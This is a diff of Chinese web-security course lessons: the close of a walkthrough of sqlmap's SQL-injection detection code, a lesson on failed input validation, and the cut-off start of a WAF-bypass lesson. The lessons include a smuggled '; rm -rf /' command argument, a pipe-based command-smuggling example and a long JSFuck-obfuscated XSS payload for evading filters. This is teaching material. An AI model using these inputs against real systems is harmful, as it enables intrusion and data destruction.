infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
break
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
return kb.heuristicTest
|
||||
|
||||
|
||||
最终的检测结果都会在全局变量kb中保存起来,这个全局变量我们在之前的课程中学习过。到此,启发式注入检测的函数已经完成,接下来会进入真正的SQL注入检测,这是sqlmap最核心的功能,没有之一!
|
||||
|
||||
checkSqlInjection函数
|
||||
|
||||
sqlmap对启发式注入的检测结果进行简单地判断后,程序就会进入sqlmap最核心的函数checkSqlInjection中。这个函数用于实现注入检测的核心功能,包括布尔注入、联合注入、报错注入、堆注入等检测。
|
||||
|
||||
下面让我们观察它的代码来理解这个注入检测功能。
|
||||
|
||||
def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# 根据参数的类型选择 boundary 。
|
||||
injection = InjectionDict()
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
if isDigit(value):
|
||||
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
|
||||
boundaries = kb.cache.intBoundaries
|
||||
elif value.isalpha():
|
||||
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
|
||||
boundaries = kb.cache.alphaBoundaries
|
||||
else:
|
||||
boundaries = conf.boundaries
|
||||
|
||||
|
||||
这个函数首先会判断参数的类型,然后根据参数的不同类型设置合适的闭合方式。解决完寻找注入点以及闭合参数这个问题后,下面让我们进入到payload的选择中。
|
||||
|
||||
我们知道,payload的选择和数据库的类型有很大的关系,所以sqlmap在构造payload前,会先尝试探测目标数据库的类型。
|
||||
|
||||
# 判断是否配置数据库类型。
|
||||
if conf.dbms is None:
|
||||
|
||||
# 探测目标数据库类型。
|
||||
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
|
||||
kb.heuristicDbms = heuristicCheckDbms(injection)
|
||||
|
||||
# 根据探测结果输出提示信息。
|
||||
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||
|
||||
|
||||
如果用户在配置中指定了目标数据库的类型,那么就无需探测,用指定类型即可。否则需要用heuristicCheckDbms(injection)函数来判断目标数据库类型。它的判断方法是,发送一些payload给测试目标,然后根据获得的响应判断数据库的类型。
|
||||
|
||||
判断出目标数据库的类型之后,系统会根据获得的数据库类型以及用户的配置,挑选适合的测试用例,然后根据这些测试用例以及之前配置的boundary,构造适合的payload。
|
||||
|
||||
# 配置联合查询的信息。
|
||||
if stype == PAYLOAD.TECHNIQUE.UNION:
|
||||
configUnion(test.request.char)
|
||||
|
||||
if "[CHAR]" in title:
|
||||
if conf.uChar is None:
|
||||
continue
|
||||
else:
|
||||
title = title.replace("[CHAR]", conf.uChar)
|
||||
# ...
|
||||
# 用户指定了测试方法的配置。
|
||||
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
|
||||
debugMsg = "skipping test '%s' because user " % title
|
||||
debugMsg += "specified testing of only "
|
||||
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
|
||||
# ...
|
||||
# 根据指定的数据库以及用户的配置信息,对payload进行筛选。
|
||||
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
|
||||
debugMsg = "skipping test '%s' because user " % title
|
||||
debugMsg += "specified testing of only "
|
||||
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
|
||||
# ...
|
||||
# 对payload去重。
|
||||
if fstPayload:
|
||||
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
||||
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
|
||||
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||
|
||||
|
||||
sqlmap准备完payload之后,就到了你最期待的注入测试环节,这个过程和我们手动测试类似,系统会使用不同的注入测试方法,包括布尔注入、报错注入、时延注入以及联合注入。
|
||||
|
||||
# 布尔注入
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
def genCmpPayload():
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
|
||||
# ...
|
||||
# 报错注入
|
||||
elif method == PAYLOAD.METHOD.GREP:
|
||||
try:
|
||||
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
||||
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
|
||||
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
|
||||
|
||||
# ...
|
||||
# 时延注入
|
||||
elif method == PAYLOAD.METHOD.TIME:
|
||||
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
|
||||
trueCode = threadData.lastCode
|
||||
|
||||
# ...
|
||||
# 联合注入
|
||||
elif method == PAYLOAD.METHOD.UNION:
|
||||
configUnion(test.request.char, test.request.columns)
|
||||
|
||||
|
||||
做完这些注入测试后,系统会收到响应。我们平时会通过观察响应来判断注入是否成功,但是系统要如何判断呢?聪明的你或许想到了,这就是之前我们学习的页面相似度,我们在学习sqlmap判断waf时就用到了它。其实,根据注入方式的不同,sqlmap对于注入结果的判断方式也是不同的。
|
||||
|
||||
在报错注入中,系统会通过对页面的响应结果进行正则匹配,判断响应中是否有报错信息,如果有就判断注入成功,否则判断注入失败。
|
||||
|
||||
# 报错注入判断注入是否成功。
|
||||
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
||||
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
|
||||
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
|
||||
# ...
|
||||
injectable = True
|
||||
|
||||
|
||||
在布尔注入中,系统会判断返回页面的相似度,如果结果为假,那么说明系统会根据错误结果进行不同的响应,这就意味着布尔注入是成功的。
|
||||
|
||||
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
|
||||
if not falseResult:
|
||||
# ...
|
||||
|
||||
injectable = True
|
||||
|
||||
|
||||
在时延注入中,sqlmap会发送sleep([random])的请求,判断请求时间是否大于“平均时间+7*标准差”,注意这里的标准差是一个时间阈值,如果大于就认为存在时延注入。
|
||||
|
||||
if trueResult:
|
||||
|
||||
if SLEEP_TIME_MARKER in reqPayload:
|
||||
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False)
|
||||
if falseResult:
|
||||
continue
|
||||
|
||||
# ...
|
||||
injectable = True
|
||||
|
||||
|
||||
在联合注入中,系统会通过unionTest函数来判断联合注入是否存在。它的实现原理比较复杂,我们可以将它简化一下,只需要比较联合注入得到的响应和原本内容是否一致,就可以做出判断,如果不一致,则说明存在联合注入问题。
|
||||
|
||||
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||
|
||||
if isinstance(reqPayload, six.string_types):
|
||||
infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
logger.info(infoMsg)
|
||||
|
||||
injectable = True
|
||||
|
||||
|
||||
最后系统将结果记录下来,并且输出给使用者,这就是我们在使用sqlmap时看到的结果信息。
|
||||
|
||||
至此,经过四讲的学习,我们终于学完了这款自动化注入测试神器,希望你可以了解sqlmap的底层原理,从而更好的使用这款工具。
|
||||
|
||||
总结
|
||||
|
||||
在这节课里,我们深入研究了sqlmap的真正SQL注入过程。为了你能更好的理解,我们主要通过观察它的源代码对它进行学习。
|
||||
|
||||
在这个过程中,我们首先学习了sqlmap对于注入点的检测,其中包括了动态参数的检测以及启发式注入测试。在实际注入测试的过程中,我们只会对通过检测的参数进行注入的探测。通过这个过程筛选参数,可以提高sqlmap的运行效率。
|
||||
|
||||
最后我们进入到最重要的一步中,即真正的注入测试,我们了解了它的测试过程。其中有payload的配置、对目标数据库信息的探测、筛选合适的payload以及实际的注入测试过程。完成测试,系统会根据页面相似度来判断注入结果,而对于不同的注入方式,sqlmap的判断方式也是不同的。我们将联合注入、报错注入、时延注入以及布尔注入的判断方法一一展开,对它们分别进行了介绍。
|
||||
|
||||
截止到目前,你已经完成了对SQL注入原理、攻击方式、防御方案以及自动化注入工具sqlmap的学习,结合对sqlmap原理的学习,快去自己尝试一下自动化注入的威力吧!
|
||||
|
||||
思考
|
||||
|
||||
sqlmap在实现中有什么值得改进的地方吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
229
专栏/Web漏洞挖掘实战/19失效的输入检测(上):攻击者有哪些绕过方案?.md
Normal file
229
专栏/Web漏洞挖掘实战/19失效的输入检测(上):攻击者有哪些绕过方案?.md
Normal file
@ -0,0 +1,229 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
19 失效的输入检测(上):攻击者有哪些绕过方案?
|
||||
你好,我是王昊天。今天我们来学习失效的输入检测,看看攻击者有哪些绕过方案。
|
||||
|
||||
在现实生活中,我们在乘坐一些交通工具时,需要经过安检,以防止有人携带危险物品,避免一些危害公众安全的行为。但是这种安全检查也不是万能的,比如进地铁站的时候不会检查我们衣服口袋里的物品。
|
||||
|
||||
对于一个交互的系统来说,同样也需要对输入进行安全检查,也同样很难做到万无一失。
|
||||
|
||||
交互系统的输入,可能来自用户的输入或者其他系统的传递。在系统获得预期内的输入信息之后,就会将它们当作参数,运行相应的命令来实现自己想要的功能。那么问题来了,如果忽略了对输入的验证或者验证得不够充分,在攻击者的恶意操作下,系统就会接收到预期之外的数据,进而随着命令的运行就让攻击者实现了自己想要的目标,进而产生难以想象的后果。
|
||||
|
||||
这,其实就是失效的输入检测。
|
||||
|
||||
根据检测技术的不同,失效的输入检测可以分为6种,它们分别是:不安全的输入检查、中间件的输入输出、不安全的映射、编码及转义、编码及混淆、WAF及绕过。
|
||||
|
||||
在接下来的2讲内容中,我会带你学习这6种常见的失效输入检测,是如何产生的,以及应该如何应对。
|
||||
|
||||
不安全的输入检查
|
||||
|
||||
不安全的输入检查产生的原因,其实很好理解,就是当一个产品需要接收数据的输入时,却没有正确地对这些输入进行验证。
|
||||
|
||||
为了抵御这个问题,解决方案也比较简单,开发者只需要对一些输入数据进行安全性验证就可以。但其中的难点在于,如果安全性验证不够充分,攻击者就可以将输入构造成安全人员意料之外的形式,导致系统接收到意料之外的恶意输入。
|
||||
|
||||
这是非常危险的,因为攻击者甚至可以借此实现任意命令的执行。
|
||||
|
||||
我们来看一个关于消费行为的例子:
|
||||
|
||||
public static final double price = 20.00;
|
||||
# 用户可以自由指定购买商品的数量
|
||||
int quantity = currentUser.getAttribute(“quantity”);
|
||||
# 计算总价
|
||||
double total = price * quantity;
|
||||
chargeUser(total);
|
||||
|
||||
|
||||
在这段代码中,商品单价的值用户是无法修改的,但没有对购买数量的值进行限制。这时候,如果攻击者提供一个负值,那么他就不用进行消费,反而还能获得相应的收入。
|
||||
|
||||
接下来,我们开始学习失效的输入检测的第二种情况:中间件的输入输出。
|
||||
|
||||
中间件的输入输出
|
||||
|
||||
通常情况下,一个系统会由多个组件构成。上游组件在接收到外部输入后,会将它传给中间件来构建部分命令、数据结构或记录,然后就将它们发送给下游组件。
|
||||
|
||||
需要注意的是,中间件并不能正确地处理这些输入中的特殊元素。这种失效的输入检测问题,就是中间件的输入输出问题。
|
||||
|
||||
我们直接看个例子。
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char cmd[CMD_MAX] = "/usr/bin/cat";
|
||||
strcat(cmd, argv[1]);
|
||||
system(cmd);
|
||||
}
|
||||
|
||||
|
||||
如果这个程序是以root权限运行的,那么对system()的调用也会以root权限执行。如果用户传入的参数是标准的文件名,那么调用会按预期工作。
|
||||
|
||||
但是,如果攻击者传递了一个恶意输入,比如一个; rm -rf /形式的字符串,那么对system()的调用也会因为缺少参数而无法执行cat命令,从而运行恶意命令,递归删除根分区的内容。
|
||||
|
||||
这个示例就是中间件没有对用户传入的恶意输入进行处理导致的。首先,在输入检查就存在问题,导致该输入没有被拦截。其次,中间件没有对这部分信息进行过滤处理,直接将接收到的恶意参数当成了命令来执行,造成了严重的后果。
|
||||
|
||||
到这里,我们已经学习了两种最直接的失效的输入检测风险类型,接下来我们再来学习一种更加隐蔽的风险种类,也就是不安全的映射。
|
||||
|
||||
不安全的映射
|
||||
|
||||
不安全的映射发生的场景是:当应用程序需要使用带有映射的外部输入来选择要执行的代码时,却没有充分验证这些外部输入是否合法,这时候攻击者就可以将恶意文件上传到应用会执行的位置。
|
||||
|
||||
这对于应用来说是毁灭性的漏洞,非常危险。我们再通过一个例子,来理解下这种漏洞是怎么产生的吧。
|
||||
|
||||
下面这个例子,显示了一个不使用映射的命令调度程序,它的代码书写方式看起来并不十分优雅:
|
||||
|
||||
String ctl = request.getParameter(“ctl”);
|
||||
Worker ao = null;
|
||||
|
||||
// 判断是否ctl参数中是Add字符串
|
||||
if (ctl.equals("Add"))
|
||||
{
|
||||
ao = new AddCommand();
|
||||
}
|
||||
// 判断是否ctl参数中是Modify字符串
|
||||
else if (ctl.equals("Modify"))
|
||||
{
|
||||
ao = new ModifyCommand();
|
||||
}
|
||||
else {
|
||||
throw new UnknownActionError();
|
||||
}
|
||||
ao.doAction(request);
|
||||
|
||||
|
||||
我们品味一番,可以发现上述代码写得属实不够优雅,而优秀的开发人员可能会使用映射的方式来进行代码重构,如下所示:
|
||||
|
||||
String ctl = request.getParameter("ctl");
|
||||
Class cmdClass = Class.forName(ctl + "Command");
|
||||
Worker ao = (Worker)cmdClass.newInstance();
|
||||
ao.doAction(request);
|
||||
|
||||
|
||||
重构后的这段代码,确实提供了许多优势:代码更加简洁了;if/else块也消失了;在不修改命令调度程序的情况下,也可以添加新的命令类型。
|
||||
|
||||
但是,重构后的代码有个漏洞。攻击者可以先利用Worker接口创建一个类,然后使用它们。这里创建的类是没有限制的,它是由攻击者控制的参数ctl所决定。攻击者可以利用创建的这个类去执行恶意命令。
|
||||
|
||||
编码及转义
|
||||
|
||||
软件为了与另一个组件通信,会准备要发送的消息。它的结构需要符合通信协议的要求,如果数据的编码或转义过程中发生丢失或者执行错误,就可能会导致消息的结构发生变化。
|
||||
|
||||
不正确的编码或转义,可能允许攻击者将发送的正常命令更改为恶意命令。大多数软件都会遵循双方规定的协议进行通信。通信消息可以为带有控制信息的原始数据。
|
||||
|
||||
这么说有些抽象,我们看一个具体的示例:
|
||||
|
||||
“GET/index.html HTTP/1.1”是一个结构化消息,其中包含一个命令(“GET”)和一个参数(“/index.html”)和有关正在使用的协议版本(“HTTP/1.1”)。
|
||||
|
||||
|
||||
如果应用程序使用攻击者提供的输入来构建结构化消息,而没有正确编码或转义,那么攻击者就可以在这条消息中插入特殊字符,导致数据被解释为控制信息。因此,接收输出的组件,就将会执行错误的操作。
|
||||
|
||||
我们再通过一个示例,来看看涉及编码及转义的攻击方式是如何发生的。
|
||||
|
||||
现在有这么一个聊天应用程序,它的前端Web应用程序与后端服务器之间要进行通信。因为后端是不执行身份验证或授权的遗留代码,所以我们必须在前端必须实现这个功能。聊天协议规定只支持两个命令SAY和BAN,而且BAN命令只有管理员才可以使用。每个参数必须由一个空格分隔,原始输入经过URL编码,消息协议允许在一行中执行多个以|分隔的命令。
|
||||
|
||||
我们先看后端的代码:
|
||||
|
||||
$inputString = readLineFromFileHandle($serverFH);
|
||||
# generate an array of strings separated by the "|" character.
|
||||
@commands = split(/\|/, $inputString);
|
||||
|
||||
foreach $cmd (@commands) {
|
||||
# separate the operator from its arguments based on a single whitespace
|
||||
($operator, $args) = split(/ /, $cmd, 2);
|
||||
|
||||
$args = UrlDecode($args);
|
||||
if ($operator eq "BAN") {
|
||||
ExecuteBan($args);
|
||||
}
|
||||
else if ($operator eq "SAY") {
|
||||
ExecuteSay($args);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
前端Web应用程序接收命令后,对其进行编码,然后发送到权限查看服务器执行授权的检查,然后再将命令发送给后端。
|
||||
|
||||
$inputString = GetUntrustedArgument("command");
|
||||
($cmd, $argstr) = split(/\s+/, $inputString, 2);
|
||||
|
||||
/# removes extra whitespace and also changes CRLF's to spaces/
|
||||
$argstr =~ s/\s+/ /gs;
|
||||
|
||||
$argstr = UrlEncode($argstr);
|
||||
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
|
||||
die "Error: you are not the admin.\n";
|
||||
}
|
||||
|
||||
/# communicate with file server using a file handle/
|
||||
$fh = GetServerFileHandle("myserver");
|
||||
|
||||
print $fh "$cmd $argstr\n";
|
||||
|
||||
|
||||
我们可以发现一个很明显的问题,虽然协议和后端都允许在一个请求中发送多个命令,但前端只打算发送一个命令。可是UrlEncode函数可能会留下|字符。
|
||||
|
||||
也就是说,如果攻击者提供SAY hello world|BAN user12,前端会看到这是一个SAY命令,$argstr 就为hello world | BAN user12。由于命令是SAY,对BAN命令的检查会失败。前端会向后端发送URL编码的命令:
|
||||
|
||||
SAY hello%20world|BAN%20user12
|
||||
|
||||
|
||||
后端就会把这个解析为如下两条命令来运行:
|
||||
|
||||
SAY hello world
|
||||
BAN user12
|
||||
|
||||
|
||||
但是请注意,如果前端使用正确的编码将| 编码为%7C ,那么后端将只处理一个命令。
|
||||
|
||||
这就是一个典型的编码错误导致的输入验证失效的例子。
|
||||
|
||||
编码及混淆
|
||||
|
||||
除了编码及转义,攻击者还可以通过编码混淆攻击来逃避输入的检查,为攻击区注入有害负载。这种攻击方式,就叫做编码及混淆。
|
||||
|
||||
客户端和服务器会使用各种不同的编码在系统之间传递数据,而当它们想要使用数据时就需要首先对其进行解码。
|
||||
|
||||
在构建攻击时,我们需要考虑有害负载的注入位置。如果可以根据关联环境推断出输入是如何被解码的,那么我们就可以知道,要用什么方式对有害负载进行编码。
|
||||
|
||||
在URL中,有一系列具有特殊含义的保留字符。例如,&用作分隔符,它可以分隔查询字符串中的参数。基于URL的输入可能包含这些字符,比如用户搜索Fish & Chips之类的内容会发生什么呢?
|
||||
|
||||
浏览器会自动对任何可能导致解析器歧义的字符进行URL编码。这意味着,用%字符和它们的二位十六进制代码替换它们,成为这样[…]/?search=Fish+%26+Chips,来确保& 不会被误认为是分隔符。
|
||||
|
||||
任何基于URL的输入在分配给相关变量之前,都会在服务器端自动进行URL解码。这意味着,就大多数服务器而言,查询参数中的%22、%3D和%3E等序列分别与“、<和>字符同义。也就是说,我们可以通过URL注入URL编码的数据,它通常仍会被后端应用程序正确解释。
|
||||
|
||||
有时,我们可能会发现,WAF等在检查你的输入时,无法正确地对你的输入进行 URL解码。在这种情况下,我们只需对列入黑名单的任何字符或单词进行编码,就可以将有害负载绕过检测,发送给后端应用程序,实现攻击行为。
|
||||
|
||||
在XSS注入中,我们经常会需要输入进行攻击,但是往往输入检测会将它拦截,使得我们无法成功攻击,这时我们就可以对它进行编码混淆,将它改为:
|
||||
|
||||
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()(([]+[])[(![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(![]]+[][[]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+([]+[])[(![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]])
|
||||
|
||||
|
||||
利用这个方法,我们可以绕过很多的输入检测。
|
||||
|
||||
总结
|
||||
|
||||
好了,今天的主要内容就到这里,我们一起小结下。
|
||||
|
||||
今天这节课,我们一起学习了不安全的输入检查、中间件的输入输出、不安全的映射、编码及转义、编码及混淆,这5种失效的输入检测是如何产生的。
|
||||
|
||||
不安全的输入检查,主要就是应用没有正确地过滤用户的输入,使得攻击者使用精心设计的恶意输入,成功实现对系统的攻击。
|
||||
|
||||
中间件的输入输出问题,是因为应用的中间组件在接收到其他组件的输入数据时,没有正确地对这个输入进行过滤所导致的问题。它的危害性极大,攻击者可以凭此实现任意命令的执行。
|
||||
|
||||
不安全的映射,发生在应用程序需要执行外部文件,而这个外部文件可以由攻击者上传的情况下。这主要是因为,应用程序没有对这个外部文件进行足够的限制所导致的。
|
||||
|
||||
对于编码及转义、编码及混淆这两个问题,它们都是编码相关的问题,区别在于:编码及转义问题,主要是因为系统没有对特殊字符做转义处理,使得攻击者可以借助这些特殊字符实现攻击行为;而编码及混淆问题,主要是系统只对一些危险的字符串进行了限制,却没有对这些字符对应的混淆编码进行拦截,导致攻击者可以凭借将恶意输入进行混淆,从而实现恶意输入的上传。
|
||||
|
||||
我把这些重点信息也提炼到一张思维导图中,你可以保存下来,方便复习:
|
||||
|
||||
|
||||
|
||||
在下一讲中,我会和你一起学习失效的输入检测中最复杂的一部分WAF检测,以及如何让自己的应用避免失效的输入检测问题的发生。
|
||||
|
||||
思考
|
||||
|
||||
学完这一讲,请你思考下,失效的输入检测问题的核心到底是什么呢?你能想到什么好办法解决这一类问题吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果你觉得今天的内容对你有所帮助的话,欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
345
专栏/Web漏洞挖掘实战/20失效的输入检测(下):攻击者有哪些绕过方案?.md
Normal file
345
专栏/Web漏洞挖掘实战/20失效的输入检测(下):攻击者有哪些绕过方案?.md
Normal file
@ -0,0 +1,345 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
20 失效的输入检测(下):攻击者有哪些绕过方案?
|
||||
你好,我是王昊天。今天我们继续来学习失效的输入检测相关的内容。
|
||||
|
||||
WAF这个词,相信你或多或少听说过,也可能会学习过绕WAF知识的分享。不过WAF及绕过,确实是失效的输入检测中,比较复杂的一种,所以我身边很多朋友和我反馈,还是不太明白WAF到底是什么意思,又如何去绕WAF。
|
||||
|
||||
今天我们就重点学习下这个问题吧。
|
||||
|
||||
WAF及绕过
|
||||
|
||||
